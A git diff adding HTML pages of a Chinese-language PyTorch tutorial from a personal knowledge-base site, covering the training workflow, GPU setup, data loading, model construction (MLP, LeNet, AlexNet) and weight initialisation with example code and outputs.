作者修订时间
wjlin02025-10-31 15:44:29
+

3.1 思考:完成深度学习的必要部分

+

经过本节的学习,你将收获:

+
    +
  • 一项机器学习/深度学习任务的整体流程
  • +
  • 在机器学习和深度学习的每个部分的作用
  • +
+

一项机器学习任务时常常有以下的几个重要步骤,首先是数据的预处理,其中重要的步骤包括数据格式的统一、异常数据的消除和必要的数据变换,同时划分训练集、验证集、测试集,常见的方法包括:按比例随机选取,KFold方法(我们可以使用sklearn带的test_train_split函数、kfold来实现)。接下来选择模型,并设定损失函数和优化方法,以及对应的超参数(当然可以使用sklearn这样的机器学习库中模型自带的损失函数和优化器)。最后用模型去拟合训练集数据,并在验证集/测试集上计算模型表现。

+

深度学习和机器学习在流程上类似,但在代码实现上有较大的差异。首先,由于深度学习所需的样本量很大,一次加载全部数据运行可能会超出内存容量而无法实现;同时还有批(batch)训练等提高模型表现的策略,需要每次训练读取固定数量的样本送入模型中训练,因此深度学习在数据加载上需要有专门的设计。

+

在模型实现上,深度学习和机器学习也有很大差异。由于深度神经网络层数往往较多,同时会有一些用于实现特定功能的层(如卷积层、池化层、批正则化层、LSTM层等),因此深度神经网络往往需要“逐层”搭建,或者预先定义好可以实现特定功能的模块,再把这些模块组装起来。这种“定制化”的模型构建方式能够充分保证模型的灵活性,也对代码实现提出了新的要求。

+

接下来是损失函数和优化器的设定。这部分和经典机器学习的实现是类似的。但由于模型设定的灵活性,因此损失函数和优化器要能够保证反向传播能够在用户自行定义的模型结构上实现。

+

上述步骤完成后就可以开始训练了。我们前面介绍了GPU的概念和GPU用于并行计算加速的功能,不过程序默认是在CPU上运行的,因此在代码实现中,需要把模型和数据“放到”GPU上去做运算,同时还需要保证损失函数和优化器能够在GPU上工作。如果使用多张GPU进行训练,还需要考虑模型和数据分配、整合的问题。此外,后续计算一些指标还需要把数据“放回”CPU。这里涉及到了一系列有关于GPU的配置和操作。

+

深度学习中训练和验证过程最大的特点在于读入数据是按批的,每次读入一个批次的数据,放入GPU中训练,然后将损失函数反向传播回网络最前面的层,同时使用优化器调整网络参数。这里会涉及到各个模块配合的问题。训练/验证后还需要根据设定好的指标计算模型表现。

+

经过以上步骤,一个深度学习任务就完成了。我们在详细讲解每个部分之前,先梳理了完成各个部分所需的功能,下面我们就去进一步了解一下PyTorch是如何实现各个部分的,以及PyTorch作为一个深度学习框架拥有的模块化特点。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第三章/3.2 基本配置/index.html b/en/docs/个人知识库/AI/PyTorch/第三章/3.2 基本配置/index.html new file mode 100644 index 0000000..40a2492 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第三章/3.2 基本配置/index.html @@ -0,0 +1,65 @@ + + + + + +3.2 基本配置.md | wjlin0 + + + + + + + +

3.2 基本配置.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.2 基本配置

+

对于一个PyTorch项目,我们需要导入一些Python常用的包来帮助我们快速实现功能。常见的包有os、numpy等,此外还需要调用PyTorch自身一些模块便于灵活使用,比如torch、torch.nn、torch.utils.data.Dataset、torch.utils.data.DataLoader、torch.optimizer等等。

+

经过本节的学习,你将收获:

+
    +
  • 在深度学习/机器学习中常用到的包
  • +
  • GPU的配置
  • +
+

首先导入必须的包。注意这里只是建议导入的包导入的方式,可以采用不同的方案,比如涉及到表格信息的读入很可能用到pandas,对于不同的项目可能还需要导入一些更上层的包如cv2等。如果涉及可视化还会用到matplotlib、seaborn等。涉及到下游分析和指标计算也常用到sklearn。

+
import os 
import numpy as np
import torch
import torch.nn as nn
from torch.utils.data import Dataset, DataLoader
import torch.optim as optimizer
+

根据前面我们对深度学习任务的梳理,有如下几个超参数可以统一设置,方便后续调试时修改:

+
    +
  • batch size
  • +
  • 初始学习率(初始)
  • +
  • 训练次数(max_epochs)
  • +
  • GPU配置
  • +
+
batch_size = 16
# 批次的大小
lr = 1e-4
# 优化器的学习率
max_epochs = 100
+

除了直接将超参数设置在训练的代码里,我们也可以使用yaml、json,dict等文件来存储超参数,这样可以方便后续的调试和修改,这种方式也是常见的深度学习库(mmdetection,Paddledetection,detectron2)和一些AI Lab里面比较常见的一种参数设置方式。

+

我们的数据和模型如果没有经过显式指明设备,默认会存储在CPU上,为了加速模型的训练,我们需要显式调用GPU,一般情况下GPU的设置有两种常见的方式:

+
# 方案一:使用os.environ,这种情况如果使用GPU不需要设置
import os
os.environ['CUDA_VISIBLE_DEVICES'] = '0,1' # 指明调用的GPU为0,1号

# 方案二:使用“device”,后续对要使用GPU的变量用.to(device)即可
device = torch.device("cuda:1" if torch.cuda.is_available() else "cpu") # 指明调用的GPU为1号
+

当然还会有一些其他模块或用户自定义模块会用到的参数,有需要也可以在一开始进行设置。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第三章/3.3 数据读入/index.html b/en/docs/个人知识库/AI/PyTorch/第三章/3.3 数据读入/index.html new file mode 100644 index 0000000..395214e --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第三章/3.3 数据读入/index.html @@ -0,0 +1,76 @@ + + + + + +3.3 数据读入.md | wjlin0 + + + + + + + +

3.3 数据读入.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.3 数据读入

+

PyTorch数据读入是通过Dataset+DataLoader的方式完成的,Dataset定义好数据的格式和数据变换形式,DataLoader用iterative的方式不断读入批次数据。

+

经过本节的学习,你将收获:

+
    +
  • PyTorch常见的数据读取方式
  • +
  • 构建自己的数据读取流程
  • +
+

我们可以定义自己的Dataset类来实现灵活的数据读取,定义的类需要继承PyTorch自身的Dataset类。主要包含三个函数:

+
    +
  • __init__: 用于向类中传入外部参数,同时定义样本集
  • +
  • __getitem__: 用于逐个读取样本集合中的元素,可以进行一定的变换,并将返回训练/验证所需的数据
  • +
  • __len__: 用于返回数据集的样本数
  • +
+

下面以cifar10数据集为例给出构建Dataset类的方式:

+
import torch
from torchvision import datasets
train_data = datasets.ImageFolder(train_path, transform=data_transform)
val_data = datasets.ImageFolder(val_path, transform=data_transform)
+

这里使用了PyTorch自带的ImageFolder类的用于读取按一定结构存储的图片数据(path对应图片存放的目录,目录下包含若干子目录,每个子目录对应属于同一个类的图片)。

+

其中data_transform可以对图像进行一定的变换,如翻转、裁剪等操作,可自己定义。这里我们会在下一章通过实战加以介绍并在notebook中做了示例代码。

+

这里我们给出一个自己定制Dataset的例子

+

import os
import pandas as pd
from torchvision.io import read_image

class MyDataset(Dataset):
def __init__(self, annotations_file, img_dir, transform=None, target_transform=None):
"""
Args:
annotations_file (string): Path to the csv file with annotations.
img_dir (string): Directory with all the images.
transform (callable, optional): Optional transform to be applied
on a sample.
target_transform (callable, optional): Optional transform to be applied
on the target.
"""
self.img_labels = pd.read_csv(annotations_file)
self.img_dir = img_dir
self.transform = transform
self.target_transform = target_transform

def __len__(self):
return len(self.img_labels)

def __getitem__(self, idx):
"""
Args:
idx (int): Index
"""
img_path = os.path.join(self.img_dir, self.img_labels.iloc[idx, 0])
image = read_image(img_path)
label = self.img_labels.iloc[idx, 1]
if self.transform:
image = self.transform(image)
if self.target_transform:
label = self.target_transform(label)
return image, label
+

其中,我们的标签类似于以下的形式:

+
image1.jpg, 0
image2.jpg, 1
......
image9.jpg, 9
+

构建好Dataset后,就可以使用DataLoader来按批次读入数据了,实现代码如下:

+
from torch.utils.data import DataLoader

train_loader = torch.utils.data.DataLoader(train_data, batch_size=batch_size, num_workers=4, shuffle=True, drop_last=True)
val_loader = torch.utils.data.DataLoader(val_data, batch_size=batch_size, num_workers=4, shuffle=False)
+

其中:

+
    +
  • batch_size:样本是按“批”读入的,batch_size就是每次读入的样本数
  • +
  • num_workers:有多少个进程用于读取数据,Windows下该参数设置为0,Linux下常见的为4或者8,根据自己的电脑配置来设置
  • +
  • shuffle:是否将读入的数据打乱,一般在训练集中设置为True,验证集中设置为False
  • +
  • drop_last:对于样本最后一部分没有达到批次数的样本,使其不再参与训练
  • +
+

这里可以看一下我们的加载的数据。PyTorch中的DataLoader的读取可以使用next和iter来完成

+
import matplotlib.pyplot as plt
images, labels = next(iter(val_loader))
print(images.shape)
plt.imshow(images[0].transpose(1,2,0))
plt.show()
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第三章/3.4 模型构建/index.html b/en/docs/个人知识库/AI/PyTorch/第三章/3.4 模型构建/index.html new file mode 100644 index 0000000..5404cf6 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第三章/3.4 模型构建/index.html @@ -0,0 +1,155 @@ + + + + + +3.4 模型构建.md | wjlin0 + + + + + + + +

3.4 模型构建.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.4 模型构建

+

人工智能的第三次浪潮受益于卷积神经网络的出现和BP反向传播算法的实现,随着深度学习的发展,研究人员研究出了许许多多的模型,PyTorch中神经网络构造一般是基于nn.Module类的模型来完成的,它让模型构造更加灵活。

+

经过本节的学习,你将收获:

+
    +
  • PyTorch中神经网络的构造方法
  • +
  • PyTorch中特殊层的构建
  • +
  • LeNet的PyTorch实现
  • +
+

3.4.1 神经网络的构造​

+

Module 类是 torch.nn 模块里提供的一个模型构造类,是所有神经网络模块的基类,我们可以继承它来定义我们想要的模型。下面继承 Module 类构造多层感知机。这里定义的 MLP 类重载了 Module 类的 __init__ 函数和 forward 函数。它们分别用于创建模型参数和定义前向计算(正向传播)。下面的 MLP 类定义了一个具有两个隐藏层的多层感知机。

+
import torch
from torch import nn

class MLP(nn.Module):
# 声明带有模型参数的层,这里声明了两个全连接层
def __init__(self, **kwargs):
# 调用MLP父类Block的构造函数来进行必要的初始化。这样在构造实例时还可以指定其他函数
super(MLP, self).__init__(**kwargs)
self.hidden = nn.Linear(784, 256)
self.act = nn.ReLU()
self.output = nn.Linear(256,10)

# 定义模型的前向计算,即如何根据输入x计算返回所需要的模型输出
def forward(self, x):
o = self.act(self.hidden(x))
return self.output(o)
+

以上的 MLP 类中⽆须定义反向传播函数。系统将通过⾃动求梯度⽽自动⽣成反向传播所需的 backward 函数。

+

我们可以实例化 MLP 类得到模型变量 net 。下⾯的代码初始化 net 并传入输⼊数据 X 做一次前向计算。其中, net(X) 会调用 MLP 继承⾃自 Module 类的 __call__ 函数,这个函数将调⽤用 MLP 类定义的forward 函数来完成前向计算。因此我们自己构造模型时需要明确定义模型的forward过程

+
X = torch.rand(2,784) # 设置一个随机的输入张量
net = MLP() # 实例化模型
print(net) # 打印模型
net(X) # 前向计算
+
MLP(
(hidden): Linear(in_features=784, out_features=256, bias=True)
(act): ReLU()
(output): Linear(in_features=256, out_features=10, bias=True)
)
tensor([[ 0.0149, -0.2641, -0.0040, 0.0945, -0.1277, -0.0092, 0.0343, 0.0627,
-0.1742, 0.1866],
[ 0.0738, -0.1409, 0.0790, 0.0597, -0.1572, 0.0479, -0.0519, 0.0211,
-0.1435, 0.1958]], grad_fn=<AddmmBackward>)
+

注意,这里并没有将 Module 类命名为 Layer (层)或者 Model (模型)之类的名字,这是因为该类是一个可供⾃由组建的部件。它的子类既可以是⼀个层(如PyTorch提供的 Linear 类),⼜可以是一个模型(如这里定义的 MLP 类),或者是模型的⼀个部分。

+

3.4.2 神经网络中常见的层​

+

深度学习的一个魅力在于神经网络中各式各样的层,例如全连接层、卷积层、池化层与循环层等等。虽然PyTorch提供了⼤量常用的层,但有时候我们依然希望⾃定义层。这里我们会介绍如何使用 Module 来自定义层,从而可以被反复调用。

+
    +
  • 不含模型参数的层
  • +
+

我们先介绍如何定义一个不含模型参数的自定义层。下⾯构造的 MyLayer 类通过继承 Module 类自定义了一个将输入减掉均值后输出的层,并将层的计算定义在了 forward 函数里。这个层里不含模型参数。

+
import torch
from torch import nn

class MyLayer(nn.Module):
def __init__(self, **kwargs):
super(MyLayer, self).__init__(**kwargs)
def forward(self, x):
return x - x.mean()
+

测试,实例化该层,然后做前向计算

+
layer = MyLayer()
layer(torch.tensor([1, 2, 3, 4, 5], dtype=torch.float))
+
tensor([-2., -1.,  0.,  1.,  2.])
+
    +
  • 含模型参数的层
  • +
+

我们还可以自定义含模型参数的自定义层。其中的模型参数可以通过训练学出。

+

Parameter 类其实是 Tensor 的子类,如果一个 Tensor 是 Parameter ,那么它会⾃动被添加到模型的参数列表里。所以在⾃定义含模型参数的层时,我们应该将参数定义成 Parameter ,除了直接定义成 Parameter 类外,还可以使⽤ ParameterList 和 ParameterDict 分别定义参数的列表和字典。

+
class MyListDense(nn.Module):
def __init__(self):
super(MyListDense, self).__init__()
self.params = nn.ParameterList([nn.Parameter(torch.randn(4, 4)) for i in range(3)])
self.params.append(nn.Parameter(torch.randn(4, 1)))

def forward(self, x):
for i in range(len(self.params)):
x = torch.mm(x, self.params[i])
return x
net = MyListDense()
print(net)
+
class MyDictDense(nn.Module):
def __init__(self):
super(MyDictDense, self).__init__()
self.params = nn.ParameterDict({
'linear1': nn.Parameter(torch.randn(4, 4)),
'linear2': nn.Parameter(torch.randn(4, 1))
})
self.params.update({'linear3': nn.Parameter(torch.randn(4, 2))}) # 新增

def forward(self, x, choice='linear1'):
return torch.mm(x, self.params[choice])

net = MyDictDense()
print(net)
+

下面给出常见的神经网络的一些层,比如卷积层、池化层,以及较为基础的AlexNet,LeNet等。

+
    +
  • 二维卷积层
  • +
+

二维卷积层将输入和卷积核做互相关运算,并加上一个标量偏差来得到输出。卷积层的模型参数包括了卷积核和标量偏差。在训练模型的时候,通常我们先对卷积核随机初始化,然后不断迭代卷积核和偏差。

+
import torch
from torch import nn

# 卷积运算(二维互相关)
def corr2d(X, K):
h, w = K.shape
X, K = X.float(), K.float()
Y = torch.zeros((X.shape[0] - h + 1, X.shape[1] - w + 1))
for i in range(Y.shape[0]):
for j in range(Y.shape[1]):
Y[i, j] = (X[i: i + h, j: j + w] * K).sum()
return Y

# 二维卷积层
class Conv2D(nn.Module):
def __init__(self, kernel_size):
super(Conv2D, self).__init__()
self.weight = nn.Parameter(torch.randn(kernel_size))
self.bias = nn.Parameter(torch.randn(1))

def forward(self, x):
return corr2d(x, self.weight) + self.bias
+

卷积窗口形状为 $p \times q$ 的卷积层称为 $p \times q$ 卷积层。同样, $p \times q$ 卷积或 $p \times q$ 卷积核说明卷积核的高和宽分别为 $p$ 和 $q$,一般情况下,$p=q$。

+

填充(padding)是指在输⼊高和宽的两侧填充元素(通常是0元素)。

+

下面的例子里我们创建一个⾼和宽为3的二维卷积层,然后设输⼊高和宽两侧的填充数分别为1。给定一个高和宽为8的输入,我们发现输出的高和宽也是8。

+
import torch
from torch import nn

# 定义一个函数来计算卷积层。它对输入和输出做相应的升维和降维
def comp_conv2d(conv2d, X):
# (1, 1)代表批量大小和通道数
X = X.view((1, 1) + X.shape)
Y = conv2d(X)
return Y.view(Y.shape[2:]) # 排除不关心的前两维:批量和通道


# 注意这里是两侧分别填充1⾏或列,所以在两侧一共填充2⾏或列
conv2d = nn.Conv2d(in_channels=1, out_channels=1, kernel_size=3,padding=1)

X = torch.rand(8, 8)
comp_conv2d(conv2d, X).shape
+
torch.Size([8, 8])
+

当卷积核的高和宽不同时,我们也可以通过设置高和宽上不同的填充数使输出和输入具有相同的高和宽。

+
# 使用高为5、宽为3的卷积核。在⾼和宽两侧的填充数分别为2和1
conv2d = nn.Conv2d(in_channels=1, out_channels=1, kernel_size=(5, 3), padding=(2, 1))
comp_conv2d(conv2d, X).shape
+
torch.Size([8, 8])
+

在二维互相关运算中,卷积窗口从输入数组的最左上方开始,按从左往右、从上往下 的顺序,依次在输⼊数组上滑动。我们将每次滑动的行数和列数称为步幅(stride)。

+
conv2d = nn.Conv2d(1, 1, kernel_size=(3, 5), padding=(0, 1), stride=(3, 4))
comp_conv2d(conv2d, X).shape
+
torch.Size([2, 2])
+

填充可以增加输出的高和宽。这常用来使输出与输入具有相同的高和宽。

+

步幅可以减小输出的高和宽,例如输出的高和宽仅为输入的高和宽的 ( 为大于1的整数)。

+
    +
  • 池化层
  • +
+

池化层每次对输入数据的一个固定形状窗口(⼜称池化窗口)中的元素计算输出。不同于卷积层里计算输⼊和核的互相关性,池化层直接计算池化窗口内元素的属性(均值、最大值等)。常见的池化包括最大池化或平均池化。在二维最⼤池化中,池化窗口从输入数组的最左上方开始,按从左往右、从上往下的顺序,依次在输⼊数组上滑动。当池化窗口滑动到某⼀位置时,窗口中的输入子数组的最大值即输出数组中相应位置的元素。

+

下面把池化层的前向计算实现在pool2d函数里。

+
import torch
from torch import nn

def pool2d(X, pool_size, mode='max'):
p_h, p_w = pool_size
Y = torch.zeros((X.shape[0] - p_h + 1, X.shape[1] - p_w + 1))
for i in range(Y.shape[0]):
for j in range(Y.shape[1]):
if mode == 'max':
Y[i, j] = X[i: i + p_h, j: j + p_w].max()
elif mode == 'avg':
Y[i, j] = X[i: i + p_h, j: j + p_w].mean()
return Y
+
X = torch.tensor([[0, 1, 2], [3, 4, 5], [6, 7, 8]], dtype=torch.float)
pool2d(X, (2, 2))
+
tensor([[4., 5.],
[7., 8.]])
+
pool2d(X, (2, 2), 'avg')
+
tensor([[2., 3.],
[5., 6.]])
+

我们可以使用torch.nn包来构建神经网络。我们已经介绍了autograd包,nn包则依赖于autograd包来定义模型并对它们求导。一个nn.Module包含各个层和一个forward(input)方法,该方法返回output。

+

3.4.3 模型示例​

+
    +
  • LeNet
  • +
+

3.4.1

+

这是一个简单的前馈神经网络 (feed-forward network)(LeNet)。它接受一个输入,然后将它送入下一层,一层接一层的传递,最后给出输出。

+

一个神经网络的典型训练过程如下:

+
    +
  1. 定义包含一些可学习参数(或者叫权重)的神经网络
  2. +
  3. 在输入数据集上迭代
  4. +
  5. 通过网络处理输入
  6. +
  7. 计算 loss (输出和正确答案的距离)
  8. +
  9. 将梯度反向传播给网络的参数
  10. +
  11. 更新网络的权重,一般使用一个简单的规则:weight = weight - learning_rate * gradient
  12. +
+
import torch
import torch.nn as nn
import torch.nn.functional as F


class Net(nn.Module):

def __init__(self):
super(Net, self).__init__()
# 输入图像channel:1;输出channel:6;5x5卷积核
self.conv1 = nn.Conv2d(1, 6, 5)
self.conv2 = nn.Conv2d(6, 16, 5)
# an affine operation: y = Wx + b
self.fc1 = nn.Linear(16 * 5 * 5, 120)
self.fc2 = nn.Linear(120, 84)
self.fc3 = nn.Linear(84, 10)

def forward(self, x):
# 2x2 Max pooling
x = F.max_pool2d(F.relu(self.conv1(x)), (2, 2))
# 如果是方阵,则可以只使用一个数字进行定义
x = F.max_pool2d(F.relu(self.conv2(x)), 2)
x = x.view(-1, self.num_flat_features(x))
x = F.relu(self.fc1(x))
x = F.relu(self.fc2(x))
x = self.fc3(x)
return x

def num_flat_features(self, x):
size = x.size()[1:] # 除去批处理维度的其他所有维度
num_features = 1
for s in size:
num_features *= s
return num_features


net = Net()
print(net)
+
Net(
(conv1): Conv2d(1, 6, kernel_size=(5, 5), stride=(1, 1))
(conv2): Conv2d(6, 16, kernel_size=(5, 5), stride=(1, 1))
(fc1): Linear(in_features=400, out_features=120, bias=True)
(fc2): Linear(in_features=120, out_features=84, bias=True)
(fc3): Linear(in_features=84, out_features=10, bias=True)
)
+

我们只需要定义 forward 函数,backward函数会在使用autograd时自动定义,backward函数用来计算导数。我们可以在 forward 函数中使用任何针对张量的操作和计算。

+

一个模型的可学习参数可以通过net.parameters()返回

+
params = list(net.parameters())
print(len(params))
print(params[0].size()) # conv1的权重
+
10
torch.Size([6, 1, 5, 5])
+

让我们尝试一个随机的 32x32 的输入。注意:这个网络 (LeNet)的期待输入是 32x32 的张量。如果使用 MNIST 数据集来训练这个网络,要把图片大小重新调整到 32x32。

+
input = torch.randn(1, 1, 32, 32)
out = net(input)
print(out)
+

清零所有参数的梯度缓存,然后进行随机梯度的反向传播:

+
net.zero_grad()
out.backward(torch.randn(1, 10))
+

注意:torch.nn只支持小批量处理 (mini-batches)。整个 torch.nn 包只支持小批量样本的输入,不支持单个样本的输入。比如,nn.Conv2d 接受一个4维的张量,即nSamples x nChannels x Height x Width 如果是一个单独的样本,只需要使用input.unsqueeze(0) 来添加一个“假的”批大小维度。

+
    +
  • +

    torch.Tensor - 一个多维数组,支持诸如backward()等的自动求导操作,同时也保存了张量的梯度。

    +
  • +
  • +

    nn.Module - 神经网络模块。是一种方便封装参数的方式,具有将参数移动到GPU、导出、加载等功能。

    +
  • +
  • +

    nn.Parameter - 张量的一种,当它作为一个属性分配给一个Module时,它会被自动注册为一个参数。

    +
  • +
  • +

    autograd.Function - 实现了自动求导前向和反向传播的定义,每个Tensor至少创建一个Function节点,该节点连接到创建Tensor的函数并对其历史进行编码。

    +
  • +
+

下面再介绍一个比较基础的案例AlexNet

+
    +
  • AlexNet
  • +
+

3.4.2

+
class AlexNet(nn.Module):
def __init__(self):
super(AlexNet, self).__init__()
self.conv = nn.Sequential(
nn.Conv2d(1, 96, 11, 4), # in_channels, out_channels, kernel_size, stride, padding
nn.ReLU(),
nn.MaxPool2d(3, 2), # kernel_size, stride
# 减小卷积窗口,使用填充为2来使得输入与输出的高和宽一致,且增大输出通道数
nn.Conv2d(96, 256, 5, 1, 2),
nn.ReLU(),
nn.MaxPool2d(3, 2),
# 连续3个卷积层,且使用更小的卷积窗口。除了最后的卷积层外,进一步增大了输出通道数。
# 前两个卷积层后不使用池化层来减小输入的高和宽
nn.Conv2d(256, 384, 3, 1, 1),
nn.ReLU(),
nn.Conv2d(384, 384, 3, 1, 1),
nn.ReLU(),
nn.Conv2d(384, 256, 3, 1, 1),
nn.ReLU(),
nn.MaxPool2d(3, 2)
)
# 这里全连接层的输出个数比LeNet中的大数倍。使用丢弃层来缓解过拟合
self.fc = nn.Sequential(
nn.Linear(256*5*5, 4096),
nn.ReLU(),
nn.Dropout(0.5),
nn.Linear(4096, 4096),
nn.ReLU(),
nn.Dropout(0.5),
# 输出层。由于这里使用Fashion-MNIST,所以用类别数为10,而非论文中的1000
nn.Linear(4096, 10),
)

def forward(self, img):
feature = self.conv(img)
output = self.fc(feature.view(img.shape[0], -1))
return output
+
net = AlexNet()
print(net)
+
AlexNet(
(conv): Sequential(
(0): Conv2d(1, 96, kernel_size=(11, 11), stride=(4, 4))
(1): ReLU()
(2): MaxPool2d(kernel_size=3, stride=2, padding=0, dilation=1, ceil_mode=False)
(3): Conv2d(96, 256, kernel_size=(5, 5), stride=(1, 1), padding=(2, 2))
(4): ReLU()
(5): MaxPool2d(kernel_size=3, stride=2, padding=0, dilation=1, ceil_mode=False)
(6): Conv2d(256, 384, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))
(7): ReLU()
(8): Conv2d(384, 384, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))
(9): ReLU()
(10): Conv2d(384, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))
(11): ReLU()
(12): MaxPool2d(kernel_size=3, stride=2, padding=0, dilation=1, ceil_mode=False)
)
(fc): Sequential(
(0): Linear(in_features=6400, out_features=4096, bias=True)
(1): ReLU()
(2): Dropout(p=0.5)
(3): Linear(in_features=4096, out_features=4096, bias=True)
(4): ReLU()
(5): Dropout(p=0.5)
(6): Linear(in_features=4096, out_features=10, bias=True)
)
)
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第三章/3.5 模型初始化/index.html b/en/docs/个人知识库/AI/PyTorch/第三章/3.5 模型初始化/index.html new file mode 100644 index 0000000..af9e8f0 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第三章/3.5 模型初始化/index.html @@ -0,0 +1,120 @@ + + + + + +3.5 模型初始化.md | wjlin0 + + + + + + + +

3.5 模型初始化.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:15
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

3.5 模型初始化

+

在深度学习模型的训练中,权重的初始值极为重要。一个好的初始值,会使模型收敛速度提高,使模型准确率更精确。一般情况下,我们不使用全0初始值训练网络。为了利于训练和减少收敛时间,我们需要对模型进行合理的初始化。PyTorch也在torch.nn.init中为我们提供了常用的初始化方法。 +通过本章学习,你将学习到以下内容:

+
    +
  • 常见的初始化函数
  • +
  • 初始化函数的使用
  • +
+

torch.nn.init内容​

+

通过访问torch.nn.init的官方文档链接 ,我们发现torch.nn.init提供了以下初始化方法: +1 . torch.nn.init.uniform_(tensor, a=0.0, b=1.0) +2 . torch.nn.init.normal_(tensor, mean=0.0, std=1.0) +3 . torch.nn.init.constant_(tensor, val) +4 . torch.nn.init.ones_(tensor) +5 . torch.nn.init.zeros_(tensor) +6 . torch.nn.init.eye_(tensor) +7 . torch.nn.init.dirac_(tensor, groups=1) +8 . torch.nn.init.xavier_uniform_(tensor, gain=1.0) +9 . torch.nn.init.xavier_normal_(tensor, gain=1.0) +10 . torch.nn.init.kaiming_uniform_(tensor, a=0, mode='fan__in', nonlinearity='leaky_relu') +11 . torch.nn.init.kaiming_normal_(tensor, a=0, mode='fan_in', nonlinearity='leaky_relu') +12 . torch.nn.init.orthogonal_(tensor, gain=1) +13 . torch.nn.init.sparse_(tensor, sparsity, std=0.01) +14 . torch.nn.init.calculate_gain(nonlinearity, param=None) +关于计算增益如下表:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
nonlinearitygain
Linear/Identity1
Conv{1,2,3}D1
Sigmod1
Tanh5/3
ReLUsqrt(2)
Leaky Relusqrt(2/1+neg_slop^2)
+

我们可以发现这些函数除了calculate_gain,所有函数的后缀都带有下划线,意味着这些函数将会直接原地更改输入张量的值。

+

torch.nn.init使用​

+

我们通常会根据实际模型来使用torch.nn.init进行初始化,通常使用isinstance()来进行判断模块(回顾3.4模型构建)属于什么类型。

+
import torch
import torch.nn as nn

conv = nn.Conv2d(1,3,3)
linear = nn.Linear(10,1)

isinstance(conv,nn.Conv2d) # 判断conv是否是nn.Conv2d类型
isinstance(linear,nn.Conv2d) # 判断linear是否是nn.Conv2d类型
+
True
False
+

对于不同的类型层,我们就可以设置不同的权值初始化的方法。

+
# 查看随机初始化的conv参数
conv.weight.data
# 查看linear的参数
linear.weight.data
+
tensor([[[[ 0.1174,  0.1071,  0.2977],
[-0.2634, -0.0583, -0.2465],
[ 0.1726, -0.0452, -0.2354]]],
[[[ 0.1382, 0.1853, -0.1515],
[ 0.0561, 0.2798, -0.2488],
[-0.1288, 0.0031, 0.2826]]],
[[[ 0.2655, 0.2566, -0.1276],
[ 0.1905, -0.1308, 0.2933],
[ 0.0557, -0.1880, 0.0669]]]])

tensor([[-0.0089, 0.1186, 0.1213, -0.2569, 0.1381, 0.3125, 0.1118, -0.0063, -0.2330, 0.1956]])
+
# 对conv进行kaiming初始化
torch.nn.init.kaiming_normal_(conv.weight.data)
conv.weight.data
# 对linear进行常数初始化
torch.nn.init.constant_(linear.weight.data,0.3)
linear.weight.data
+
tensor([[[[ 0.3249, -0.0500,  0.6703],
[-0.3561, 0.0946, 0.4380],
[-0.9426, 0.9116, 0.4374]]],
[[[ 0.6727, 0.9885, 0.1635],
[ 0.7218, -1.2841, -0.2970],
[-0.9128, -0.1134, -0.3846]]],
[[[ 0.2018, 0.4668, -0.0937],
[-0.2701, -0.3073, 0.6686],
[-0.3269, -0.0094, 0.3246]]]])
tensor([[0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000, 0.3000,0.3000]])
+

初始化函数的封装​

+

人们常常将各种初始化方法定义为一个initialize_weights()的函数并在模型初始后进行使用。

+
def initialize_weights(model):
for m in model.modules():
# 判断是否属于Conv2d
if isinstance(m, nn.Conv2d):
torch.nn.init.zeros_(m.weight.data)
# 判断是否有偏置
if m.bias is not None:
torch.nn.init.constant_(m.bias.data,0.3)
elif isinstance(m, nn.Linear):
torch.nn.init.normal_(m.weight.data, 0.1)
if m.bias is not None:
torch.nn.init.zeros_(m.bias.data)
elif isinstance(m, nn.BatchNorm2d):
m.weight.data.fill_(1)
m.bias.data.zeros_()
+

这段代码流程是遍历当前模型的每一层,然后判断各层属于什么类型,然后根据不同类型层,设定不同的权值初始化方法。我们可以通过下面的例程进行一个简短的演示:

+
# 模型的定义
class MLP(nn.Module):
# 声明带有模型参数的层,这里声明了两个全连接层
def __init__(self, **kwargs):
# 调用MLP父类Block的构造函数来进行必要的初始化。这样在构造实例时还可以指定其他函数
super(MLP, self).__init__(**kwargs)
self.hidden = nn.Conv2d(1,1,3)
self.act = nn.ReLU()
self.output = nn.Linear(10,1)

# 定义模型的前向计算,即如何根据输入x计算返回所需要的模型输出
def forward(self, x):
o = self.act(self.hidden(x))
return self.output(o)

mlp = MLP()
print(mlp.hidden.weight.data)
print("-------初始化-------")

mlp.apply(initialize_weights)
# 或者initialize_weights(mlp)
print(mlp.hidden.weight.data)
+
tensor([[[[ 0.3069, -0.1865,  0.0182],
[ 0.2475, 0.3330, 0.1352],
[-0.0247, -0.0786, 0.1278]]]])
"-------初始化-------"
tensor([[[[0., 0., 0.],
[0., 0., 0.],
[0., 0., 0.]]]])
+

注意: +我们在初始化时,最好不要将模型的参数初始化为0,因为这样会导致梯度消失,从而影响模型的训练效果。因此,我们在初始化时,可以使用其他初始化方法或者将模型初始化为一个很小的值,如0.01,0.1等。

